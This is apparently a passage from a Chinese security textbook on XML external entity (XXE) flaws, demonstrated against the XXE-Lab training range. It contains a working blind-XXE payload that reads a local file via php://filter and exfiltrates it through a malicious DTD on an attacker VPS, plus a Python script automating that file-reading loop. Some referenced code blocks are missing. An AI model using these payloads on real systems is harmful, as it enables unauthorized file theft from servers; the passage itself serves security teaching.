当允许引用外部实体时，会造成外部实体注入（XXE）漏洞。通过构造恶意 内容，就可能导致任意文件读取、系统命令执行、内网端口探测、攻击内网网站 等危害。本节介绍针对XXE漏洞的检测和防御方法。

5.2.1    简介

根据回显情况，XXE漏洞可分为如下两种：

·有回显的XXE。

· 无回显的XXE。

这里以XXE-Lab靶场作为目标进行漏洞演示，靶场如图5-1所示。

图5-1    XXE-Lab靶场

先进行有回显XXE的演示。我们先在靶场服务器的C盘下新建一个test.txt ，内 容为“hello hacker！！！ℽ , 然后通过BurpSite进行登录抓包，数据包内容如下所   示：

构造Payload对靶场服务器C盘下的test.txt文件进行读取，如下所示：

然后，进行无回显XXE的演示。在这之前，我们要关闭靶场的信息输出。打 开靶场目录下的php_xxe/doLogin.php文件，进行如下操作：

1）注释掉echo$result。

2）增加“error_reporting（0）；”。

再次进行注入，服务不会返回任何信息，如下所示：

对于无回显的XXE ，我们需要构建一条带外数据（Out-of Band ，OOB）通道

来读取数据。思路如下：

1）攻击者先发送Payload1给Web服务器。

2）Payload1触发Web服务器，Web服务器向VPS获取恶意DTD ，并执行 Payload2。

3）Payload2使Web服务器把结果作为参数来访问VPS上的HTTP服务。

4）攻击者通过VPS的HTTP访问记录得到结果。

攻击过程如图5-2所示。

我们在VPS上创建名为evil.xml的恶意DTD文件，并将其放在apache 的网页目 录下，同时开启apache服务。

evil.xml内容如下：

图5-2    攻击过程

在VPS上开启对apache访问日志的监控，如下所示：

在登录的数据包中构造如下Payload 。其中，参数实体file 的内容为要读取文 件的内容经过Base64编码后的结果，参数实体dtd为VPS上evil.xml的URL地址：

<?xml version="1 .0"?>

< !DOCTYPE test[

< !ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=c: /test.txt">

< !ENTITY % dtd SYSTEM "http://192 .168 .61 .130/evil.xml">

%dtd;

%send;

]>

数据包中的内容如下所示：

我们点击发送这个数据包，就可以在VPS上看到HTTP访问记录，如下所示：

对content的内容进行Base64解码将得到文件内容，如图5-3所示。

图5-3    内容进行解码

5.2.2    检测方法

在目标服务器无回显的情况下，只能通过OOB信息传送来进行XXE攻击，但 实际的操作过程则比较烦琐，本节针对无回显的XXE ，通过Python脚本来实现流 程自动化。具体步骤如下：

1）写入脚本相关信息和模块：

# 通过POST发送攻击数据

def SendData(lip, lport, url) :

# 需要读取的文件的路径（默认值）

filePath = "c:\\test.txt"

while True:

# 对用户输入的文件路径斜杠的替换

filePath = filePath.replace( '\\ ', "/")

data = "<?xml version=\"1 .0\"?>\n< !DOCTYPE test[\n< !ENTITY % file

SYSTEM \"php://filter/read=convert.base64-encode/resource={0}\">

\n< !ENTITY % dtd SYSTEM \"http://{1} :{2}/evil.xml\">\n%dtd;

\n%send;\n]>" .format(filePath, lip, lport)

requests .post(url, data=data)

# 继续接收用户的输入，读取指定文件

filePath = input("Input filePath :")

脚本运行过程如下所示：

脚本运行结果如图5-4所示。

图5-4    内容解码

HTTP访问记录会自动保存在result.txt文件中，如下所示：